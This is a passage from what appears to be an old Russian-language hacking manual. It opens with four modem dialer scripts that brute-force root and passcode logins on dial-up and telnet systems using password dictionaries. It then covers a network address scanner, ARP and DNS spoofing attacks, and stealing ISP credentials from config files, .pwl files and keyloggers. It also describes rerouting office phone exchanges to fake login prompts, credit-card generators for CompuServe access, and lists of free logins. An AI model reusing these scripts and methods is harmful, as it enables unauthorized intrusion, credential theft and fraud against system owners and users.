     #NOCARRIER
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
     LOG(Carrier lost on $DATE at $TIME)
     LOG()
     GOTO(#START)
     #START
     SET S_TMP=UNDEFINE
     ;SET S_TMP=DEFINE
     HANGUP
     LOG_SESSION_ON
     SET STRING2=
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
     IF S_TMP=UNDEFINE THEN SEND(AT H1)
     EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
     :111
     SEND(ATD)
     SET D_TMP=0
     :112
     WAIT(1)
     INC(D_TMP)
     IF D_TMP>50 THEN GOTO(99)
     CHECK4CARRIER(112)
     SEND()
     ; послать возврат каретки после соединения
     :1
     WAIT(1)
     IF STRING2~assw THEN GOTO(2)
     GOTO(1)
     :2
     SEND_NEXT_DIC(1)
     WAIT(2)
     IF STRING2~ncorr THEN GOTO(3)
     GOTO(50)
     :3
     SET STRING2=
     :4
     WAIT(1)
     IF STRING2~assw THEN GOTO(5)
     GOTO(4)
     :5
     SEND_NEXT_DIC(1)
     WAIT(2)
     IF STRING2~ncorr THEN GOTO(6)
     GOTO(50)
     :6
     SET STRING2=
     :7
     WAIT(1)
     IF STRING2~assw THEN GOTO(8)
     GOTO(7)
     :8
     SEND_NEXT_DIC(1)
     WAIT4STRING(10,,1,GOTO(50),ncorr)
     GOTO(99)
     :50
     BEEP
     BEEP
     BEEP
     LOG(------------- -----------------)---- -------------------)
     LOG($DATE $TIME)
     LOG()
     LOG(PASSWORD: $DIC(1))
     LOG()
     GOTO(150)
     :99
     CHECK4CARRIER(OFF)
     IF S_TMP=UNDEFINE THEN GOTO(#START)
     EXECUTE(scavenge.exe /s rebreak.scr)
     ; создание скрипта для перенабора номера и дозвона до цели
     GOTO(111)
     :150
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
     GOTO(#END)
     #END
     Первый пример скрипта
     Системный дескриптор: UNIX на F.
     Но вы никогда не должны это делать.
     #DEFINE
     LOGFILE=C:\OUTPUT\NY-SYS5.LOG
     PHONE_NR=I dont tell you ;)
     DIAL_TRIES=3
     LOGIN_TRIES=0
     DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG()
     GOTO(#START)
     #START
     LOG(------------------------- -----)---- -------------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     DIAL
     LOG($STRING)
     LOG_SESSION_ON
     SEND()
     SEND()
     WAIT4STRING(15,^M,4,GOTO(1),name)
     SEND( )
     LOG_SESSION_OFF
     :2
     SEND(CONNECT HACK.THIS.SYSTEM.EDU)
     :3
     WAIT4STRING(30,^C,1,GOTO(2),ogin:)
     SEND(root)
     WAIT4STRING(20,^D,1,GOTO(2),assword:)
     SEND_NEXT_DIC(1)
     IF STRING~ogin: THEN GOTO(3)
     IF STRING~refused THEN GOTO(2)
     LOG()
     LOG($STRING)
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Login : root)
     LOG(Password : $DIC(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     Второй пример скрипта
     #DEFINE
     INIT_MODEM=AT&N15
     INIT_DATA=7E1
     LOGFILE=C:\OUTPUT\TELEKOM4.LOG
     PHONE_NR=I dont tell you ;)
     DIAL_TRIES=3
     LOGIN_TRIES=0
     BRUTE(1)=1,1,1,12
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $BRUTE(1))
     LOG()
     GOTO(#START)
     #START
     LOG(-----------------------------------)---- ---------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     HANGUP
     DIAL
     LOG($STRING)
     WAIT4STRING(15,^M,4,GOTO(1),PA)
     :2
     SEND_NEXT_BRUTE(1)
     WAIT4STRING(3,^M,2,GOTO(3),PA)
     GOTO(2)
     :3
     LOG_SESSION_ON
     SEND()
     SEND(?)
     SEND(HELP)
     SEND(HILFE)
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Password : $BRUTE(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     Третий пример скрипта
     Этот скрипт может быть использован на некоторых небесплатных телефонных
линиях 0130-xxxxxx.
     ; Система требует пароль
     ; Неограниченное количество попыток позволяет войти в систему
     ;
     ; 30xCrLf
     ; PASSCODE:*****
     ;
     #DEFINE
     INIT_MODEM=AT &F L2
     INIT_DATA=8N1
     LOGFILE=xxxxxx.LOG
     PHONE_NR=0130xxxxxx
     DIAL_TRIES=5
     LOGIN_TRIES=0
     DIC(1)=C:\2\thc-lh09\w1.w
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG()
     GOTO(#START)
     #START
     LOG(------------------- ---------)---- -------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     HANGUP
     DIAL
     LOG($STRING)
     WAIT4STRING(30,.^M,3,GOTO(1),PASS)
     :2
     set string=
     SEND_NEXT_DIC(1)
     wait(1)
     LOG($DIC(1))
     ; да, регистрироваться с каждой попытки!
     WAIT4STRING(15,.^M,3,GOTO(3),PASS)
     GOTO(2)
     :3
     LOG_SESSION_ON
     SEND()
     SEND(?)
     SEND(HELP)
     SEND()
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Password : $DIC(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     Четвертый пример скрипта
     Это скрипт предназначен исключительно для платформ Telnet.
     #DEFINE
     init_modem=z
     init_data=8n1
     LOGFILE=xxxxxx.log
     PHONE_NR=xxxxxx
     DIAL_TRIES=0
     LOGIN_TRIES=0
     DIC(1)=D:\hackusr\dictbig.txt
     ;dic(2)=d:\hackusr\bigdict2.txt
     ;dic(3)=d:\hackusr\bigdict3.txt
     #NOCARRIER
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG(returning ...)
     GOTO(#START)
     #START
     HANGUP
     LOG_SESSION_ON
     LOG()
     log()
     log( HaCK ATTeMPT STaRTeD ......)
     log()
     log( TaRGeT: $PHONE_NR )
     log( DaTe: $DATE )
     log( TiMe: $TIME)
     log()
     log()
     log( ......DiaLiNG)
     dial
     log()
     log( ......CoNNeCTeD!)
     log()
     log()
     wait(5)
     :1
     wait4string(1,^M,5,goto(#start),sername>)
     send(fh65)
     :2
     wait4string(1,^M,5,goto(#start),ocal>)
     send(connect 189.25.56.7)
     :3
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait4string(1,^C,5,goto(4),ogin:)
     send(root)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :4
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait4string(1,^D,5,goto(4),assword:)
     send_next_dic(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :5
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :6
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :7
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     log()
     log()
     log()
     Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)
     log()
     log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME)
     log()
     log()
     log()
     log( ACCouNT: root)
     log( PaSSWoRD: DIC(1))
     log()
     log()
     log()
     #END
     Сканирование адресов пользователей
     Операции по сканированию сетевых  адресов мы разберем на основе  весьма
известной программы Network User Address Attacker. Эта программа  известного
сообщества P/H/A.  NUA  Attacker  написан на  Turbo  C  2.0 хакером Доктором
Диссектором.  Network  User  Address  Attacker  сканирует  клавишную  панель
SprintNet. При этом программа способна  распознать ошибки кодов на SprintNet
и  других  типах  соединений.  Каждый  отсканированный сетевой  адрес  может
зарегистрироваться  под  logfile с  описанием возвращенного кода ошибки  или
краткой   суммой   данных  главной   системы.   Таким   образом,   программа
дозванивается  до Net и  сканирует  сетевые  адреса пользователей.  Диапазон
сканирования задается  атакующим.  Кроме  этого, в  прилагаемом к  программе
файле SND390.TXT  имеется список некоторых  модемных  телефонных номеров. Вы
можете, конечно, использовать только известный вам номер, то есть тот номер,
который наиболее близко соответствует вашему региону.
     Эта  программа   может  быть  наиболее  полезной  при  поиске  сетей  с
коммутирующими  пакетами или на основе UNIX.  Автор этой программы надеется,
что любые  ошибки,  найденные в ней, будут  переданы  через сообщество P/H/A
хакерам Доктору Диссектору, Темному Шлему, Корейцу Подавителю или Анонимному
Анархисту.
     Файлы программы
     NUAA.EXE
     Программа NUA Attacker.
     NUAA.DOC
     Документация
     README.PHA
     Прочтите это сначала!
     SND390.TXT
     Список телефонных номеров Net.
     NUAA.CFG
     Отчет о текущей атаке и конфигурации модема.
     NUAFILE.PHA
     Список сетевых адресов пользователей.
     LOGFILE.PHA
     Список  сетевых адресов пользователей,  составленных атакующим.  В этом
файле также содержатся коды ответа NUA, полученные атакующим.
     Файлы  NUAfile  и  Logfile могут модифицироваться.  Файлы NUAFILE.PHA и
LOGFILE.PHA -- это обыкновенные текстовые файлы,  вы можете редактировать их
в любом  текстовом редакторе. Кроме того, если файл уже существует, то любые
данные  добавятся к  тому имени файла, которые существуют в  файле  с меткой
EOF.
     Запуск программы
     Для запуска NUA Attacker введите с вашей консоли следующее:
     C:\ >NUAA [/I]
     Параметр /I позволяет вам начать выполнение программы без инициализации
модема перед сканированием адресов. В этом случае, когда вы выберите команду
Begin attack (Начать  нападение),  NUA  Attacker  сразу  начнет сканирование
адресов  (если вы предварительно зарегистрировались в системе,  то теперь вы
снова должны зарегистрироваться на Net через приглашение @).
     Настройка режима сканирования
     Настройка  сканирования  адресов  осуществляется  через  команду  Setup
attack. В появившемся диалоговом окне выполните настройку следующих опций.
     Phone Number
     Телефонный номер Net (SND390.TXT).
     Starting NUA
     Начальный сетевой адрес пользователя.
     Ending NUA
     Конечный сетевой адрес пользователя.
     Timeout
     Время ожидания ответа от сетевого адреса пользователя.
     Log filename
     Имя файла, в который будут выводится сообщения об ошибках и  информация
о неудачных попытках соединения.
     NUA filename
     Имя файла, в  который будут выводится  сетевые адреса пользователей (по
умолчанию это файл NUAFILE.PHA).
     Decimals
     Включить или отключить режим десятичного сканирования.
     Пользователи  Net используют  сетевые  адреса в формате  XXXXXX.XX. NUA
Attacker поддерживает сканирование десятичных чисел.
     Например, если вы настроите эту опцию так:
     Starting NUA: 619100.10
     Ending NUA: 619200.10
     то   программа   начнет   сканирование  с  619100.10,  следующий  адрес
сканирования соответствует 619100.11, затем пойдет 619100.12 и так далее.
     При   настройке   сканирования  вы  можете  воспользоваться  следующими
горячими клавишами:
     ESC
     Выйти из диалогового окна Setup attack  без сохранения модифицированных
параметров.
     LT-S
     Сохранить модифицированные параметры в память компьютера.
     После того,  как вы  выполните настройку  сканирования, вы можете также
сохранить ее на  диск  выбрав из меню File команду  Save options.  При  этом
сохранятся и все модифицированные параметры настроек модема.
     Несколько слов по поводу формата сетевого адреса
     Допустим, что вы произвели настройку так:
     Starting NUA: 6191 *WRONG*
     Ending NUA: 619100 *RIGHT*
     Это означает,  что сканирование  проходит в диапазоне с 6191  по 6199 с
пропуском 6200. Поэтому вы должны настроить параметры сканирования так:
     Starting NUA: 619001 *RIGHT*
     Ending NUA: 619100 *RIGHT*
     То есть, оба числовых поля должны иметь одинаковую длину.
     Настройка модема
     Настройка модема осуществляется через диалоговое окно Modem parameters.
     COM Port
     Порт, который использует ваш модем.
     Baud Rate
     Скорость передачи данных в бодах
     (например, 9600).
     Initialization
     Инициализация терминальной строки перед началом сканирования. Эта опция
также поддерживает Hayes-совместимые модемы.
     Dial Prefix
     Префикс перед телефонным номером.
     Dial Suffix
     Символ, который  будет стоять  после  телефонного  номера.  Этот символ
прошивает ваш модем соответствующим параметром.
     Hangup
     Прервать последовательность передаваемых данных.
     Процесс сканирования
     Выберите опцию Begin attack. После этого произойдет следующее:
     1. Инициализация модема.
     2. Набор номера Net. Этот номер соответствует настройкам, произведенным
в диалоговом окне Setup attack.
     3. Ожидание приглашения TERMINAL= и загрузка параметра  D1. Параметр D1
означает, что ваш компьютер вошел в сеть.
     4. Ожидание приглашения @.
     5.  Сканирование.  Сканирование  соответствует  параметру  Starting NUA
диалогового окна Setup attack.
     После того, как сканирование  сетевых адресов закончится, NUA  Attacker
выйдет из сети.
     В процессе  сканирования вы можете воспользоваться следующими  горячими
клавишами:
     ALT-B
     Передать в Net сигнал, соответствующий прерыванию соединения.
     ALT-H
     Повесить  трубку.  В  этом случае  программа  начнет  работать в режиме
Pause.
     ALT-X
     Повесить трубку, выйти и прекратить атаку.
     ESC
     Временно остановить процесс сканирования.
     В  процессе  нападения  на  экране  вашего  монитора  будут  появляться
следующие сообщения:
     Starting NUA
     Сетевой адрес, который программа начинает сканировать.
     Ending NUA
     Отсканированный сетевой адрес.
     Connections
     Количество соединений, найденное в текущем сканировании.
     Current NUA
     Сетевой адрес, который программа отсканировала в данный момент времени.
     Log
     Logfile.
     NUA
     NUAfile.
     Time/Elapsed
     Текущее время и время сканирования.
     Status
     Код соединения и/или соответствующая информация о состоянии модема.
     Last
     Код последнего  соединения и/или соответствующая информация о состоянии
модема.
     В диалоговом окне Setup attack обратите внимание на переключатель в Bad
Pad.  Если выбрана  опция  Y, это  означает, что программа  посылает  в сеть
строку  10  и  каждый раз  ждет две секунды до  тех  пор, пока не
появится  приглашение  @  или  TERMINAL=.  (то  есть,  до   непосредственной
регистрации на Net). Некоторые  клавиатуры медленно реагируют на регистрацию
в сети.  Особенно это  относится  к  высоким скоростям.  Поэтому, если вы не
можете зарегистрироваться, активизируйте параметр Y.
     Кредитные карточки и Internet
     Пересылая  номер  кредитной  карточки  через Internet,  он  попадает  к
продавцу,  который производит так называемую авторизацию (происходит связь с
организацией,   ответственной   за   обработку   транзакций).    В    случае
положительного  ответа  на  запрос,  необходимая сумма денег  резервируется,
заказанный  товар  отправляется   покупателю,  затем   деньги  снимаются  со
специального банковского счета и перечисляются на счет продавца.
     Понятно,  что  если  авторизация не будет  осуществлена немедленно,  то
покупатель  может  обмануть  продавца  путем  нескольких  заказов  подряд  у
сторонних продавцов.
     Проблема  немедленной  авторизации в  Internet  пока  еще полностью  не
решена (многие фирмы используют обыкновенный модем для  связи с процессором,
каждый из которых, имеет, как правило, разный формат сообщений).
     В настоящее время  кредитные карточки и Internet тесно связаны с фирмой
CyberCash    (http://www.cybercash.com).   CyberCash   через   Public    Key
Cryptography  шифрует всю конфиденциальную информацию,  касающуюся кредитной
карточки,  связь  с  процессорами  осуществляется с  помощью так называемого
центрального интерфейса CyberCash Gateway, покупатель инсталлирует  на  свой
компьютер программу CyberCash Wallet, которая  в  зашифрованном  виде хранит
номер   кредитной  карточки,   продавец   осуществляет   свою   деятельность
посредством платежного сервера и стандартных скриптов CGI.
     CompuServe и бесплатный Internet
     Через CompuServ можно получить  доступ к Internet. Для этого необходимо
инсталлировать Compuserve, запустить Membership Sign-Up, в разделе Страна не
указывать  Россию, получить временный пароль и логин и дозвониться к Infonet
по  одному  из следующих  московских телефонов: 9150001,  9150005,  9715101,
9150033.
     PlusCentro и бесплатный Internet
     На  серевере  PlusCentro   через  http://www.plus.centro.ru  существует
гостевой вход. На  самом деле это вполне функциональный доступ  к  Internet.
Необходимо только дозвониться по одному  из  следующих московских телефонов:
4901595, 4909419, 4909363, 4909371, 4909491.
     Подробности можно узнать по этому голосовому телефону: 4909424.
     Demos и бесплатный Internet
     Компания Demos позволяет использовать демонстрационный вход в Internet.
Для  этого  необходимо   дозвониться  по   одному  из  следующих  московских
телефонов:  9613200,  2410505, 9566285,  9566286. В поле Login нужно вписать
_demo, а в поле Password набивается пароль в виде demo.
     Защита системы? Всегда!
     Так  называемый  класс  защищенности  А  был  определен  в  свое  время
Министерством обороны  США в  знаменитой  "Orange  book". Сейчас многие сети
базируются  на  неоднородных  программно-аппаратных  системах  и  используют
слишком  разные  сетевые  сервисы. Так  возникают  вполне определенные  дыры
практически на всех уровнях работы сети, включая верификацию пользователей.
     Самая   простая  защита  сети  может  осуществляться  на  уровне  самой
операционной системы, база которой, собственно, и есть сеть (аутентификация,
авторизация, разграничение доступа, мониторинг, аудит).
     Впрочем,  неправильная  конфигурация  такой  системы  тут  же оставляет
огромную брешь в защите сети.
     Более  сложная  защита  сети  уже  зависит  от профессионалов,  которые
обслуживают  сеть и осуществляют поиск и  исправление ошибок  в операционной
системе  или  корректирование  некоторых  сетевых  установок   по  умолчанию
посредством так называемого сканера безопасности системы.
     Ложные DNS-запросы в Internet
     В любом конкретном случае обмен датаграммами в Internet  осуществляется
между   двумя   удаленными  хостами   посредством  заголовка  пакета  и  так
называемого поля данных.  Заголовок -- это, прежде всего, идентификация, а в
поле данных входит некоторый  пакет высокого уровня. В частном случае, любой
IP-пакет  входит  в  состав протокола  транспортного  уровня  TCP.  С другой
стороны, пакет IP является протоколом канального уровня локальной сети, т.е.
межсетевым  протоколом,  который  позволяет  передавать датаграммы  в  сеть.
Встает  вопрос  об  адресации  передаваемых  данных. Для  этого используется
32-разряднный  адрес того  же  протокола  IP.  Казалось  бы,  что достаточно
указать  в  заголовке IP  в стандартном  поле  Destination Address адрес  IP
атакуемого  узла.  Но  это  не так.  Любой  пакет IP  уже содержится  внутри
аппартного пакета локальной сети, т.е. любая атака  на  хост невозможна  без
аппаратной  адресации пересылаемых  датаграмм.  Это означает,  что в простом
случае (адресация  только в  одной подсети)  для атаки на хост, как минимум,
необходимо   знать   его   адрес   локальной   сети   (Ethernet-адрес)   или
соответствующий  адрес  маршрутизатора. В  этом случае, перед  любым хакером
встает проблема удаленного поиска информации относительно адресов  локальной
сети.
     Пусть  на атакуемом узле имеется  некоторый  алгоритм удаленного поиска
данных.  Тогда хакер  выбирает сегмент сети, используя дырявый протокол ARP,
(пусть даже таблица ARP в установках атакуемой опреционной системы настроена
весьма корректно) посылает запрос  Ethernet  на  атакуемый адрес и  получает
необходимое соответствие между адресами IP  и адресами локальной сети. Нужно
сказать, что  этот  запрос  является  широковещательным и  в нем указывается
адрес маршрутизатора, являющийся адресом по умолчанию атакуемой операционной
системы. Маршрутизатор, у которого  всегда имеется список ARP с  информацией
(все  данные  вносятся  посредством того же  ARP-протокола) об адресе  IP  и
адресе локальной сети, получает запрос, тут же вносит соответствующую запись
о хосте хакера в  список  ARP и благополучно отправляет хакеру искомый адрес
локальной сети. Это только начало. Теперь хакер перехватывает  вышеназванный
ARP-запрос и посылает в сеть  ложный ARP-ответ, который, по сути, и является
ничем иным, как  хостом!  А  это уже  означает, что  хакер  вполне  спокойно
контролирует сетевой трафик атакуемого хоста.
     Итак,  хакер  присваивает  атакуемому сегменту  сети  ложный  IP-адрес,
входит  в  сеть, набивает "ту  самую" команду, устанавливает  в операционной
системе свой адрес IP, посылает  уже в свою сеть широковещательный запрос, а
тупой маршрутизатор безукоризненно  обновляет  в своем списке  адреса  таким
образом, что  любые сетевые  пакеты начинают  автоматически направляться  на
аппаратный адрес локальной сети хакера.
     Только два  субъекта знают о том, кто  получил широковещательный запрос
ARP. Ими являются хакер  и  глупый маршрутизатор, на который приходит пакет,
непосредственно  направленный на беззащитный ( пусть даже стоит  занаменитый
FireFall-1 фирмы Check Point Software Technologies) адрес атакуемого узла. И
в самом  деле,  хост-жертва,  ничего не подозревая (согласно  установкам  по
умолчанию сетевой операционной системы) благополучно передает  датаграммы на
хакерский  узел  ARP,  который, в  свою  очередь,  отсылает  принятый  пакет
сетевому  маршрутизатору, а тот,  понятно, дождавшись ответа, отсылает любую
информацию  уже не через обманутый  хост ARP,  а на  атакуемый узел. Так как
полный перехват  пакетов между ложным  сервером и  узлом хакера  проходит  в
промежуточной стадии, то  возникает так называемая петлевая  схема перехвата
информации.  Полный  перехват  возможен лишь  в том случае,  когда хакерский
сервер ARP  работает по так называемой  мостовой схеме  перехвата,  согласно
которой  в  качестве  хакерского  запроса  ARP указывается  любой  незанятый
(proxy-сервер) IP-адрес атакуемой сети.
     Плавно  переходим   к   DNS-серверам.  Последние  используют   в  своих
обращениях к удаленным узлам 32-битные адреса IP, мнемонически заключенные в
четырехразрядную  буквенную комбинацию, понятную каждому ламмеру. Любой хост
может получить соответствующий DNS у ближайшего  информационного сервера DNS
по известной  системе Domain Name Server через  сетевой протокол DNS. Просто
хост  посылает запрос на известный IP-адрес DNS-сервера  свой IP-адрес и имя
сервера. Сервер  DNS штудирует собственную базу  данных, находит IP-адрес  и
отправляет на хост соответствующий ответ DNS. Схема весьма примитивная. Если
же сервер DNS не находит искомую буквенную комбинацию, то он отсылает запрос
на  так  называемый  корневой  сервер,  который,  в  свою  очередь,  сверяет
информацию с файлом настроек root.cache. Так происходит до тех пор, пока имя
хоста не будет найдено в Internet.
     Вариант первый. Атакуемая сеть ожидает некоторый
     DNS-запрос. Хакер сидит в  сегменте сети  (т.е. он знает  все параметры
ISSa/ISSb)  или  находится  на пути  сетевого удаленного  траффика  (обычное
примение ftp-команд get, put или ls). Вначале хакер извлекает из DNS-запроса
номер  отправителя порта UDP. Узнав, таким образом, имя сети, хакер посылает
пакет DNS  на захваченный UDP-порт и уже в этом пакете осуществляет подмену,
и  в конечном счете полностью перехватывает траффик между собой  и удаленным
сервером.
     Вариант второй. Хакер, маскируясь под настоящий
     DNS-сервер и используя известную дырку (ограниченность идентифицируемых
пакетов)  протокола UDP,  напрямую  пересылает на  атакуемый узел  не ложный
запрос  DNS, а, напротив,  ложный  DNS-ответ. Атакуемый  сервер спокойненько
принимает IP-адрес  и,  если  он  не  совпадает  с  IP-адресом  DNS-сервера,
DNS-ответ не идентичен  DNS-запросу,  DNS-ответ  попал в порт DNS-запроса (в
крайнем случае хакер просто начинает перебирать 1023 взможных портов UDP) и,
если поле идентификатора запроса идентично полю данных  DNS-ответа, то хакер
проникает в сеть путем внедрения фиктивного DNS-ответа в атакуемый хост.
     Филипп Циммерманн и его скандально известное детище Pretty Good Privacy
     Речь  идет  о  самом  мощном  инструменте  криптографической  защиты --
алгоритме шифровки PGP, механизм обработки ключей которой продуман настолько
тщательно, что взлом возможен лишь  через  лобовую  атаку. Кроме  этого  PGP
весьма  популярен  и  бесплатно  распространяется  через  Internet.  Сегодня
алгоритм  шифровки  PGP  --  не признанный  некоторыми  официальными кругами
стандарт электронной переписки.
     PGP -  программа,  работающая по  так  называемой  схеме  публичного  и
секретного ключей.  Публичный ключ  могут  узнать все. Секретный  --  только
конечный пользователь PGP. Новое сообщение расшифровывается только через PGP
с помощью второго секретного ключа, т.е. сообщение зашифровывается публичным
ключом, отправляется и затем читается с использованием секретного ключа.
     PGP 5.0 для Windows 95 или Macintosh можно легко скачать с  популярного
сервера MIT.
     Взлом Internet
     Под  термином взлом Internet  подpазумевают  несколько pазличных вещей.
Во-пеpвых: незаконное подключение  к пpовайдеpу и так называемые  "халявные"
подключения.  Как  это осуществляется? Самый  пpостой ваpиант --  воровство.
Хакер крадет чужой  паpоль. В наше вpемя  пpи огpомном количестве  недалеких
пользователей  хакеру  это дело  не  пpедставляет  особого  тpуда,  так  как
подавляющее большинство пользователей  пользуется  таким популяpным  пакетом
e-mail как UUPC Чеpнова. А также некотоpые пpовайдеpы все  еще пpедоставляют
вход в  систему как online так и offline под  одним и тем же паpолем. Хакеру
остается самое  пpостое --  пеpеписать файл init aka init1 с каталога \UUPC.
Там будет пpописан как login так и password.
     Более сложные ваpианты взлома Internet -- запуск на машине пользователя
виpусной программы или pезидентной, отслеживающей появление стpочки "ogin:".
Далее в отдельный файл записываются все нажатия клавиатуры.
     Если  пользователь  использует   Windows  95  и  pаботает  в  Netscape,
используя SLIP и PPP, то хакер обpащает внимание на скpипты команд  и файл с
pасшиpением .pwl (паpоль зашифpованный пpимитивным методом DES).
     Если  на  машину  пользователя отсутствует доступ,  к  pешению пpоблемы
хакер   подходит  дpугим  путем.  Большая  часть  соединений  пpиходится  на
телефонные линии.  Практически в  любом крупном офисе  той или иной компании
имеется небольшая АТС. Для хакера пеpепpогpаммиpовать АТС  так чтобы, звонки
с данного номеpа пеpеpоучивались на себя, не составляет особого труда. Далее
запускается теpминальная пpогpамма BBS с  заставкой пpовайдеpа. Естественно,
пользователь  покупается и вводит  login и  password.  Далее выдается  масса
ошибок, а затем линия разрывается.
     Взлом Internet 2
     Оказывается,   что   в   Москве  существует   два  необычных   сервера,
пpедоставляющие  доступ  в  Internet,  причем,  кроме  обыкновенных  юзеров,
услугами этих серверов пользуются хакеры, фрикеры и другой подобный народ.
     Речь идет о CompuServe и America-On-Line.
     CompuServe  считается самой легкой системой, т.е. легко ломающейся. Для
этого хакер  находит  дистрибутивные дискеты  с программным обеспечением для
доступа к  CompuServe  и  софт типа CreditWizard или Credit  Master Comfake,
затем дозванивается до Scitor по телефону 9563589 и  спокойно входит в сеть.
Scitor,  как  говорят  хакеры,  хорош  тем,  что  доступ  к  ресурсам   сети
предоставляется через сгенерированный выше описанным  способом эккаунт, в то
время как SprintNet высылает информацию  о  логине и пароле  пользователя на
адрес электронной почты.
     В  Москве  сеть  America-On-Line  доступна  через  SprintNet  (9280985,
9286344 или 5789119).
     Непонятно, о чем и чем думают системные администраторы этих серверов.
     Интеллектуальный взломщик Internet
     Люди  утверждают, что взломать InterNet  возможно,  а  другие с криками
"Lamers  must  die" пытаются доказать,  что это прикол и совсем не  реально.
Хакеры утверждают, что пришло время поставить все точки над i.
     Взлом Internet возможен!  Причем  сделать это можно не будучи хакером и
не обладая какой-то дополнительной  информацией -- достаточно воспользоватся
уникальной программой InterNet Cracker (nethackers@valimar.poltava.ua).
     Вероятно,  она   никогда  не  была  бы   представлена   широкому  кругу
пользователей и  так бы  и осталась лишь  для internal  usage,  но  исходные
тексты  программы  были  украдены и в  перекомпилированном  виде, с убранным
авторством, ее стали продавать.
     Как работает  эта  программа. Когда пользователь  связывается  с  узлом
Internet, для  входа необходимо ввести login (идентификатор пользователя)  и
password  (его  пароль).  В  Unix  существуют   так   называемые  hard-coded
(стандартные) идентификаторы, поэтому для  взлома  системы  хакеру  остается
лишь найти соответствующий пароль.
     InterNet Cracker позволяет находить  пароли для пользователя  с  именем
root  пользуясь   оригинальным   методом   brute-force   password   spoofing
NetHackers.
     Если после ввода имени  на запрос login, хакера просят ввести Password,
то  это и будет строкой,  которую нужно  указать программе.  После  запуска,
программа остается  резидентной в памяти и  отслеживает появление на  экране
приглашения ввести пароль. Затем активизируется процедура подбора.
     Пример:
     1) inetcrk.exe password
     2) хакер соединяется с провайдером
     (любым DOS-терминалом)
     3) появляется запрос имени login:
     4) хакер вводит root
     5) появляется строка password:
     Если все сделано правильно, будет  запущен главный модуль  программы. О
его работе будет  свидетельствовать мигающий экран. Подбор паролей  начался!
Процесс  подбора может занять  от  1 до  5 минут, в зависимости  от качества
связи и быстродействия компьютера. По окончании работы на экран будет выдано
несколько   вариантов  паролей.  После  этого  хакер  немедленно   прерывает
соединение, чтобы на удаленном компьютере не осталось следов его работы.
     Если в процессе работы происходит обрыв связи, то все результаты работы
будут неверны. Как правило, для  нахождения  действительно настоящего пароля
хакеру требуется провести несколько таких сеансов. Низкий  процент попаданий
может быть связан с особенностями шифровки паролей на узле провайдера.
     Единственным требованием  для  работы  программы является ее запуск под
операционной  системой MS-DOS. InterNet Cracker  не может  быть  запущен под
Windows и на компьютере на котором находится Windows, т.к. в процессе работы
используются  недокументированные  функции  DOS,  которые  не   поддерживает
Windows.
     Бесплатный Internet
     MTU Inform
     Через guest/mtu и dialup.mtu.ru
     Телефоны: 9955555, 9955556.
     Caravan
     Через caravan/caravan www.caravan.ru
     Телефон: 9951070.
     Caravan 2
     Через caravan/free и DNS 194.190.218.2
     Телефон: 9951070.
     Caravan 3
     Через caravan/demo и DNS 193.232.120.226
     Телефон: 3324768.
     Caravan 4
     Через free/caravan
     Телефон: 3324768.
     Data Force
     Через 2889340 для получения демонстрационного доступа в сеть
     Телефон: 9566749.
     Glas Net
     Через  demo/demo123 или 2220990 для получения демонстрационного доступа
в сеть
     Телефоны: 7194457, 9274111, 9953535.
     IBM Net
     Через e-mail: ispp@patron.com для получения демонстрационного доступа в
сеть
     Телефоны: 2586435.
     Microdin
     Через guest/guest
     Телефон: 9951001.
     Demos
     Через _demo/demo
     Телефон: 9613200.
     Mega Electronics
     Через test/test или guest/guest и www.mega.ru
     Телефон: 9951070.
     Пароли Windows 95 для Dial-Up Networking
     Пароли Windows 95 для Dial-Up Networking хранятся в закодированном виде
в system.dat и user.dat. Один  из методов вытаскивания пароля из этих файлов
проще    всего    сделать   с   помощью    реестра.    Просматриваем    ключ
